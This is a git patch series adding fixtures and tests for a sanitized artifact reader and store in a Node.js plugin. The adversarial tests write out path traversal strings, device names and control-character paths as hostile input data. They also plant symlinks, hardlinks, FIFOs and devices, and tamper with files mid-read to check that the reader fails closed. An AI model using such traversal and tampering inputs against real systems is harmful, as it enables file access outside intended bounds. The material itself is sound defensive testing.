digestOf(sample.sanitized), name); + } + }); +}); + +test('json and markdown identity-encoded text media types are accepted', async () => { + await withStore(async (store) => { + const sample = SAMPLES.prompt; + for (const mediaType of ['application/json', 'application/x-ndjson', 'text/markdown']) { + const bytes = sample.raw; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(bytes, { + media_type: mediaType, + relative_path: `runs/${RUN_ID}/${CHILD_A}/${mediaType.replace('/', '-')}.txt`, + }), + source: bytes, + }); + assert.equal(provenance.sanitized_ref.media_type, mediaType); + assert.equal(provenance.sanitized_digest, digestOf(sample.sanitized)); + } + }); +}); + +test('octet-stream and non-identity encodings are refused before publication', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { media_type: 'application/octet-stream' }), + source: sample.raw, + }), + 'sanitizer_media_type_denied', + 'artifact_ref.media_type', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { content_encoding: 'base64' }), + source: sample.raw, + }), + 'sanitizer_content_encoding_denied', + 'artifact_ref.content_encoding', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { artifact_class: 'sanitized' }), + source: sample.raw, + }), + 'unknown_artifact_class', + 'artifact_ref.artifact_class', + ); + assert.equal((await store.audit()).artifacts, 0); + }); +}); + +test('source_truncated is recorded truthfully and never inferred by clipping', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + source_truncated: true, + }); + assertProvenanceShape(provenance, sample, { sourceTruncated: true }); + assert.equal(provenance.complete, false); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength); + assert.equal(provenance.sanitized_byte_length <= MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, true); + }); +}); + +test('exact same validated ref plus bytes is idempotent; conflicting content is not', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + const first = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + const replay = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + }); + assert.equal(first.source_digest, replay.source_digest); + assert.equal(first.sanitized_digest, replay.sanitized_digest); + assert.equal(first.sanitized_ref.sha256, replay.sanitized_ref.sha256); + const other = Buffer.from('conflicting sanitizer payload\n'); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(other), + source: other, + }), + 'artifact_content_conflict', + ); + assert.equal((await store.audit()).artifacts, 2); + }); +}); + +test('provenance and denials are content-free', async () => { + await withStore(async (store, root) => { + const sample = SAMPLES.credentialFormat; + const error = await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { sha256: 'bb'.repeat(32) }), + source: sample.raw, + }), + 'artifact_digest_mismatch', + ); + const message = `${error.message}`; + assert.equal(message.includes(root), false); + assert.equal(message.includes('sk-live-secret'), false); + assert.equal(message.includes('ENOENT'), false); + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/clean.txt`, + }), + source: sample.raw, + }); + const projected = JSON.stringify(provenance); + assert.equal(projected.includes('sk-live-secret'), false); + assert.equal(projected.includes(ARTIFACT_SANITIZER_REPLACEMENT) === false + || projected.includes(sample.raw.toString('utf8')) === false, true); + assert.equal(projected.includes(root), false); + }); +}); + +test('unknown option keys and missing required keys fail closed', async () => { + await withStore(async (store) => { + const sample = SAMPLES.plain; + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + source: sample.raw, + regex: /secret/u, + }), + 'unknown_key', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + source: sample.raw, + }), + 'missing_key', + 'options.artifact_ref', + ); + await errorOfAsync( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw), + }), + 'missing_key', + 'options.source', + ); + }); +}); From 498aeacd168892e9fa43cbd5080100c0d911cace Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:05:53 +0000 Subject: [PATCH 17/81] test(v3): pin the bounded sanitized reader against hostile callers Focused pages cover frozen JSON-safe output, deterministic range paging, cap/EOF boundaries, raw denial before I/O, disjoint raw/sanitized siblings, wire-cap clipping versus unknown P09 provenance, Unicode and binary encodings, and the absence of sanitizer/server imports. The adversarial battery reuses P08-published sanitized fixtures and inherits P07 ref hostility (proxies with zero traps, accessors that never run, traversal and device names) plus option proxies. It proves chunked hashing never requests a whole-file buffer, same-size tampers and sidecar/ref conflicts fail closed, symlinks/hardlinks/FIFOs are not followed, torn debris and root swaps stay rejected, mid-read mutation cannot pass digest or path-identity checks, and every denial stays content-free. --- .../mcp/v3/artifact-store.mjs | 16 +- .../fixtures/r1-artifact-reader-fixtures.mjs | 58 +++ .../r1-artifact-reader-adversarial.test.mjs | 381 ++++++++++++++++++ .../test/r1-artifact-reader.test.mjs | 316 +++++++++++++++ 4 files changed, 766 insertions(+), 5 deletions(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs index 307a1b9..231dab7 100644 --- a/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs +++ b/plugins/codex-co-engineer/mcp/v3/artifact-store.mjs @@ -1049,11 +1049,17 @@ async function readSanitizedRangePrepared(root, snapshot, offset, maxBytes) { failStore('artifact_digest_mismatch', 'content', 'Stored content does not hash to the declared SHA-256 digest.'); } - const after = await opened.handle.stat(); - if (!sameIdentity(before, after) - || Number(after.size) !== Number(before.size) - || Number(after.nlink) !== Number(before.nlink) - || Number(after.mode) !== Number(before.mode)) { + const afterHandle = await opened.handle.stat(); + const afterPath = await lstat(locations.contentTarget).catch(() => undefined); + if (afterPath === undefined + || !sameIdentity(before, afterHandle) + || !sameIdentity(before, afterPath) + || Number(afterHandle.size) !== Number(before.size) + || Number(afterPath.size) !== Number(before.size) + || Number(afterHandle.nlink) !== Number(before.nlink) + || Number(afterPath.nlink) !== 1 + || Number(afterHandle.mode) !== Number(before.mode) + || Number(afterPath.mode) !== Number(before.mode)) { failStore('artifact_torn_publication', 'content', 'The stored document changed while it was read.'); } diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs new file mode 100644 index 0000000..7307abc --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-reader-fixtures.mjs @@ -0,0 +1,58 @@ +// Reader-only fixtures for the P10 bounded sanitized reader. +// +// Builds on P08-published sanitized artifacts. The only product imports +// are the accepted P07/P08 modules and the reader under test; nothing +// here imports or mocks P09 sanitizer internals. + +import { + makeStoreRoot, + refFor, + removeRoot, + digestOf, + RUN_ID, + CHILD_A, + CHILD_B, +} from './r1-artifact-store-fixtures.mjs'; +import { countingProxy, validRef } from './r1-artifact-fixtures.mjs'; +import { openArtifactStoreV1 } from '../../mcp/v3/artifact-store.mjs'; + +export { + CHILD_A, + CHILD_B, + RUN_ID, + countingProxy, + digestOf, + makeStoreRoot, + refFor, + removeRoot, + validRef, +}; + +export function decodeSelected(page) { + return Buffer.from(page.selected_content, 'base64'); +} + +export async function withStore(fn) { + const root = makeStoreRoot('cce-p10-reader-'); + try { + const store = await openArtifactStoreV1({ root }); + return await fn({ root, store }); + } finally { + removeRoot(root); + } +} + +export async function withPublished(bytes, overrides, fn) { + return withStore(async ({ root, store }) => { + const ref = refFor(bytes, { artifact_class: 'sanitized', ...overrides }); + const receipt = await store.publish(ref, bytes); + return fn({ root, store, ref, bytes, receipt }); + }); +} + +// A legal relative path long enough that a max-range page can exceed the +// reader wire cap and force reader-side clipping. +export function longRelativePath() { + const segment = 'seg-' + 'n'.repeat(120); + return `runs/${segment}/${segment}/${segment}/${segment}/${segment}/${segment}/wide.bin`; +} diff --git a/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs new file mode 100644 index 0000000..99e2e89 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-reader-adversarial.test.mjs @@ -0,0 +1,381 @@ +import assert from 'node:assert/strict'; +import { + chmodSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + renameSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; +import { open as openFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + parseSanitizedReaderOptionsV1, + readSanitizedArtifactV1, +} from '../mcp/v3/artifact-reader.mjs'; +import { + ARTIFACT_STORE_INGEST_CHUNK_BYTES, + ARTIFACT_STORE_META_SUFFIX, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, +} from '../mcp/v3/artifact-store.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + countingProxy, + decodeSelected, + digestOf, + refFor, + removeRoot, + withPublished, + withStore, +} from './fixtures/r1-artifact-reader-fixtures.mjs'; + +const PAYLOAD = Buffer.from('adversarial sanitized reader payload\n'); +const isWindows = process.platform === 'win32'; + +async function expectCode(action, code, errorPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (errorPath !== undefined) assert.equal(error.path, errorPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +async function fileHandlePrototype() { + const handle = await openFile(new URL(import.meta.url), 'r'); + try { + return Object.getPrototypeOf(handle); + } finally { + await handle.close(); + } +} + +function existsRegularFile(target) { + try { + const stat = lstatSync(target); + return stat.isFile() && !stat.isSymbolicLink(); + } catch { + return false; + } +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + assert.equal(message.includes('ELOOP'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + const text = bytes.toString('utf8'); + if (text.trim().length > 0) { + assert.equal(message.includes(text.trim()), false, 'error echoed artifact bytes'); + } + } +} + +test('proxy, accessor, and alias refs fail closed with zero traps before I/O', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const { proxy, counts } = countingProxy(ref); + const error = await expectCode(() => readSanitizedArtifactV1(store, proxy), 'proxy_denied'); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + const accessor = { ...ref }; + let getterRuns = 0; + Object.defineProperty(accessor, 'sha256', { + enumerable: true, + get() { getterRuns += 1; return digestOf(PAYLOAD); }, + }); + await expectCode(() => readSanitizedArtifactV1(store, accessor), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + const cyclic = { ...ref }; + cyclic.self = cyclic; + await expectCode(() => readSanitizedArtifactV1(store, cyclic), 'aliased_reference_denied'); + + await expectCode(() => readSanitizedArtifactV1(store, { ...ref, extra: 'x' }), 'unknown_key'); + }); +}); + +test('option proxies and accessors never run', async () => { + await withPublished(PAYLOAD, {}, async ({ store, ref, root }) => { + const { proxy, counts } = countingProxy({ offset: 0, max_bytes: 4 }); + const error = await expectCode( + () => readSanitizedArtifactV1(store, ref, proxy), + 'proxy_denied', + ); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + let optionGets = 0; + const accessorOpts = {}; + Object.defineProperty(accessorOpts, 'offset', { + enumerable: true, + get() { optionGets += 1; return 0; }, + }); + await expectCode( + () => readSanitizedArtifactV1(store, ref, accessorOpts), + 'accessor_property_denied', + ); + assert.equal(optionGets, 0); + + const symbolled = { offset: 0 }; + Object.defineProperty(symbolled, Symbol('hidden'), { enumerable: true, value: 1 }); + await expectCode(() => parseSanitizedReaderOptionsV1(symbolled), 'symbol_key_denied'); + }); +}); + +test('P07 hostile relative paths inherit exact denials on the reader', async () => { + await withStore(async ({ store }) => { + const cases = [ + [{ relative_path: '../outside.patch' }, 'alias_segment_denied'], + [{ relative_path: '/absolute.patch' }, 'absolute_path_denied'], + [{ relative_path: 'runs\\run\\x.patch' }, 'invalid_separator'], + [{ relative_path: 'runs/run-x/con' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/CON.txt' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/a:b.patch' }, 'colon_denied'], + [{ relative_path: 'runs/run-x/solid\u2044us.patch' }, 'separator_lookalike_denied'], + [{ relative_path: 'runs/run-x/invis\u200bx.patch' }, 'invisible_character_denied'], + [{ relative_path: 'runs/run-x/bell\u0007.patch' }, 'control_character_denied'], + ]; + for (const [override, expected] of cases) { + await expectCode( + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, override)), + expected, + ); + } + }); +}); + +test('reads never allocate a whole-file buffer; hashing uses the fixed ingest chunk', async () => { + const bytes = Buffer.alloc(ARTIFACT_STORE_INGEST_CHUNK_BYTES + 4096, 0x63); + await withPublished(bytes, { relative_path: 'runs/run-store-01/lane-alpha/wide.bin' }, async ({ store, ref }) => { + const proto = await fileHandlePrototype(); + const originalRead = proto.read; + const requested = []; + proto.read = function patchedRead(buffer, offset, length, position) { + const size = typeof length === 'number' ? length : buffer?.byteLength; + requested.push(size); + return originalRead.apply(this, arguments); + }; + try { + const page = await readSanitizedArtifactV1(store, ref, { offset: 100, max_bytes: 32 }); + assert.equal(decodeSelected(page).equals(bytes.subarray(100, 132)), true); + assert.ok(requested.length >= 2, 'expected more than one chunked read of a file larger than the ingest chunk'); + for (const size of requested) { + assert.ok(size <= ARTIFACT_STORE_INGEST_CHUNK_BYTES, `read requested ${size}`); + assert.notEqual(size, bytes.length); + } + } finally { + proto.read = originalRead; + } + }); +}); + +test('same-size content tamper fails digest verification', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + writeFileSync(contentLeaf, swapped); + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_digest_mismatch'); + assertContentFree(error, root, PAYLOAD); + assertContentFree(error, root, swapped); + }); +}); + +test('sidecar/ref conflict and malformed sidecars fail closed', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + await expectCode( + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { media_type: 'application/json' })), + 'artifact_metadata_conflict', + ); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + const original = readFileSync(metaLeaf); + writeFileSync(metaLeaf, '{"schema":"nope"}\n'); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_metadata_malformed'); + writeFileSync(metaLeaf, original); + const misplaced = JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: refFor(PAYLOAD, { relative_path: 'runs/elsewhere/x.patch' }), + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }); + writeFileSync(metaLeaf, `${misplaced}\n`); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_foreign_entry'); + writeFileSync(metaLeaf, original); + }); +}); + +test('symlinks, hardlinks, FIFOs, and devices are never followed or blocked on', async () => { + if (isWindows) return; + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p10-outside-'), { mode: 0o700 }); + try { + const original = readFileSync(contentLeaf); + rmSync(contentLeaf); + symlinkSync(path.join(outside, 'bait.bin'), contentLeaf); + writeFileSync(path.join(outside, 'bait.bin'), Buffer.from('bait bytes never adopted')); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + + const { link } = await import('node:fs/promises'); + await link(contentLeaf, path.join(outside, 'alias.bin')); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(path.join(outside, 'alias.bin')); + + rmSync(contentLeaf); + const { execFileSync } = await import('node:child_process'); + execFileSync('mkfifo', [contentLeaf]); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + + const devicePath = `${contentLeaf}.dev`; + try { + execFileSync('mknod', [devicePath, 'c', '1', '3'], { stdio: 'ignore' }); + rmSync(contentLeaf); + renameSync(devicePath, contentLeaf); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + rmSync(contentLeaf); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + } catch { + rmSync(devicePath, { force: true }); + if (!existsRegularFile(contentLeaf)) { + rmSync(contentLeaf, { force: true }); + writeFileSync(contentLeaf, original, { mode: 0o600 }); + } + } + } finally { + rmSync(outside, { recursive: true, force: true }); + } + }); +}); + +test('torn content, missing artifacts, and leftover temporaries fail closed', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32)), 'torn'); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_torn_temporary'); + rmSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32))); + + const saved = readFileSync(contentLeaf); + rmSync(contentLeaf); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_torn_publication'); + writeFileSync(contentLeaf, saved, { mode: 0o600 }); + + const missing = refFor(Buffer.from('nope'), { relative_path: 'runs/run-store-01/missing/x.bin' }); + await expectCode(() => readSanitizedArtifactV1(store, missing), 'artifact_not_found'); + }); +}); + +test('root and path swaps are rejected; mid-read mutation cannot pass digest/stability checks', async () => { + if (isWindows) return; + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const moved = `${root}-moved`; + rmSync(moved, { recursive: true, force: true }); + renameSync(root, moved); + mkdirSync(root, { mode: 0o700 }); + try { + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_root_unsafe'); + assertContentFree(error, root, PAYLOAD); + } finally { + rmSync(root, { recursive: true, force: true }); + renameSync(moved, root); + } + }); + + const large = Buffer.alloc(ARTIFACT_STORE_INGEST_CHUNK_BYTES + 2048, 0x71); + await withPublished(large, { relative_path: 'runs/run-store-01/lane-alpha/mut.bin' }, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'mut.bin'); + const proto = await fileHandlePrototype(); + const originalRead = proto.read; + let mutated = false; + proto.read = async function patchedRead(buffer, offset, length, position) { + const result = await originalRead.apply(this, arguments); + if (!mutated && buffer?.byteLength === ARTIFACT_STORE_INGEST_CHUNK_BYTES && result.bytesRead > 0) { + writeFileSync(contentLeaf, Buffer.from(large.map((byte) => byte ^ 0x01))); + mutated = true; + } + return result; + }; + try { + const error = await expectCode(() => readSanitizedArtifactV1(store, ref)); + assert.ok( + error.code === 'artifact_digest_mismatch' || error.code === 'artifact_torn_publication' + || error.code === 'artifact_length_mismatch' || error.code === 'artifact_entry_unsafe', + `unexpected code ${error.code}`, + ); + assertContentFree(error, root, large); + } finally { + proto.read = originalRead; + } + }); +}); + +test('frozen output cannot be mutated; errors stay content-free', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { offset: 0, max_bytes: 8 }); + assert.equal(Object.isFrozen(page), true); + assert.throws(() => { page.selected_content = 'mutated'; }); + assert.throws(() => { page.artifact_ref.relative_path = 'x'; }); + assert.equal(page.selected_content !== 'mutated', true); + + const probes = [ + () => readSanitizedArtifactV1(store, countingProxy(ref).proxy), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { artifact_class: 'raw' })), + () => readSanitizedArtifactV1(store, ref, { offset: -1 }), + () => readSanitizedArtifactV1(store, ref, { max_bytes: ARTIFACT_STORE_RANGE_READ_MAX_BYTES + 1 }), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { relative_path: '../escape' })), + () => readSanitizedArtifactV1(store, refFor(PAYLOAD, { relative_path: 'runs/missing/nope.bin' })), + ]; + for (const probe of probes) { + try { + await probe(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assertContentFree(error, root, PAYLOAD); + } + } + }); +}); + +test('group-readable stored files and chmod traps fail closed without leaking paths', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + chmodSync(contentLeaf, 0o644); + const error = await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + assertContentFree(error, root, PAYLOAD); + chmodSync(contentLeaf, 0o600); + }); +}); + +test('truncated content and oversized planted files fail verification on read', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + writeFileSync(contentLeaf, PAYLOAD.subarray(0, 4)); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + writeFileSync(contentLeaf, Buffer.concat([PAYLOAD, Buffer.alloc(300 * 1024, 0x21)])); + await expectCode(() => readSanitizedArtifactV1(store, ref), 'artifact_entry_unsafe'); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs new file mode 100644 index 0000000..afe0ad9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-reader.test.mjs @@ -0,0 +1,316 @@ +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_READER_ERROR_CODES, + ARTIFACT_READER_MAX_RANGE_BYTES, + ARTIFACT_READER_MAX_WIRE_BYTES, + ARTIFACT_READER_OPTION_KEYS, + ARTIFACT_READER_PAGE_KEYS, + ARTIFACT_READER_SCHEMA_ID, + parseSanitizedReaderOptionsV1, + readSanitizedArtifactV1, +} from '../mcp/v3/artifact-reader.mjs'; +import { + ARTIFACT_STORE_INGEST_CHUNK_BYTES, + ARTIFACT_STORE_RANGE_READ_MAX_BYTES, +} from '../mcp/v3/artifact-store.mjs'; +import { MAX_SANITIZED_ARTIFACT_BYTE_LENGTH } from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CHILD_B, + decodeSelected, + digestOf, + longRelativePath, + refFor, + withPublished, + withStore, +} from './fixtures/r1-artifact-reader-fixtures.mjs'; + +const PAYLOAD = Buffer.from('bounded sanitized reader payload for P10\n'); + +async function errorOfAsync(action, expectedCode, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +function errorOf(action, expectedCode, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedCode !== undefined) assert.equal(error.code, expectedCode); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${expectedCode ?? 'RunContractV1Error'} failure`); +} + +function assertUnknownProvenance(page) { + assert.equal(page.source_byte_length, null); + assert.equal(page.redaction_count, null); + assert.equal(page.sanitizer_version, null); + assert.equal(page.complete, null); + assert.equal(page.upstream_truncated, null); + assert.notEqual(page.complete, false); + assert.notEqual(page.upstream_truncated, false); + assert.notEqual(page.source_byte_length, 0); + assert.notEqual(page.redaction_count, 0); +} + +function assertPageShape(page) { + assert.equal(page.schema, ARTIFACT_READER_SCHEMA_ID); + assert.deepEqual(Object.keys(page), [...ARTIFACT_READER_PAGE_KEYS]); + assert.equal(Object.isFrozen(page), true); + assert.equal(Object.isFrozen(page.artifact_ref), true); + assert.equal(page.namespace, 'sanitized'); + assert.equal(page.selected_encoding, 'base64'); + assert.equal(typeof page.selected_content, 'string'); + assert.equal(decodeSelected(page).byteLength, page.selected_byte_length); + assert.ok(Buffer.byteLength(JSON.stringify(page), 'utf8') <= ARTIFACT_READER_MAX_WIRE_BYTES); + assertUnknownProvenance(page); +} + +test('the closed reader vocabulary and caps are exported frozen', () => { + assert.equal(ARTIFACT_READER_SCHEMA_ID, 'codex-co-engineer.artifact-reader.v1'); + assert.equal(Object.isFrozen(ARTIFACT_READER_ERROR_CODES), true); + assert.equal(Object.isFrozen(ARTIFACT_READER_OPTION_KEYS), true); + assert.equal(Object.isFrozen(ARTIFACT_READER_PAGE_KEYS), true); + assert.deepEqual([...ARTIFACT_READER_OPTION_KEYS], ['offset', 'max_bytes']); + for (const code of ['raw_artifact_denied', 'out_of_range', 'invalid_type', 'unknown_key']) { + assert.ok(ARTIFACT_READER_ERROR_CODES.includes(code), code); + } + assert.equal(ARTIFACT_READER_MAX_RANGE_BYTES, ARTIFACT_STORE_RANGE_READ_MAX_BYTES); + assert.equal(ARTIFACT_READER_MAX_RANGE_BYTES, 8192); + assert.equal(ARTIFACT_READER_MAX_WIRE_BYTES, 12288); + assert.ok(ARTIFACT_READER_MAX_RANGE_BYTES < MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); + assert.ok(ARTIFACT_STORE_INGEST_CHUNK_BYTES < MAX_SANITIZED_ARTIFACT_BYTE_LENGTH); +}); + +test('the reader module does not import P09 sanitizer internals', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/artifact-reader.mjs', import.meta.url)), 'utf8'); + assert.equal(source.includes('artifact-sanitizer'), false); + assert.equal(/from '\.\/.*sanitiz/u.test(source), false); + assert.equal(source.includes('supervisor.mjs'), false); + assert.equal(source.includes('server.mjs'), false); +}); + +test('option defaults and bounded intrinsic integers are validated before I/O', () => { + assert.deepEqual(parseSanitizedReaderOptionsV1(), { offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES }); + assert.deepEqual(parseSanitizedReaderOptionsV1({}), { offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES }); + assert.deepEqual( + parseSanitizedReaderOptionsV1({ offset: 4, max_bytes: 8 }), + { offset: 4, max_bytes: 8 }, + ); + assert.equal(Object.isFrozen(parseSanitizedReaderOptionsV1({ offset: 1 })), true); + + errorOf(() => parseSanitizedReaderOptionsV1(null), 'invalid_type'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: -1 }), 'out_of_range', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: 0.5 }), 'invalid_type', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES + 1 }), + 'out_of_range', 'options.max_bytes'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1 }), + 'out_of_range', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ extra: 1 }), 'unknown_key'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: '0' }), 'invalid_type', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ max_bytes: 1n }), 'invalid_json_type'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Number.NaN }), 'invalid_json_value', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Number.POSITIVE_INFINITY }), + 'invalid_json_value', 'options.offset'); + errorOf(() => parseSanitizedReaderOptionsV1({ offset: Object(0) }), 'exotic_prototype_denied'); +}); + +test('a small sanitized artifact returns a frozen JSON-safe page of the selected bytes', async () => { + await withPublished(PAYLOAD, {}, async ({ root, store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assertPageShape(page); + assert.equal(page.byte_length, PAYLOAD.length); + assert.equal(page.sha256, digestOf(PAYLOAD)); + assert.equal(page.offset, 0); + assert.equal(page.max_bytes, ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.selected_byte_length, PAYLOAD.length); + assert.equal(decodeSelected(page).equals(PAYLOAD), true); + assert.equal(page.reader_clipped, false); + assert.equal(page.more, false); + assert.equal(page.next_offset, null); + const projected = JSON.stringify(page); + assert.equal(projected.includes(root), false); + 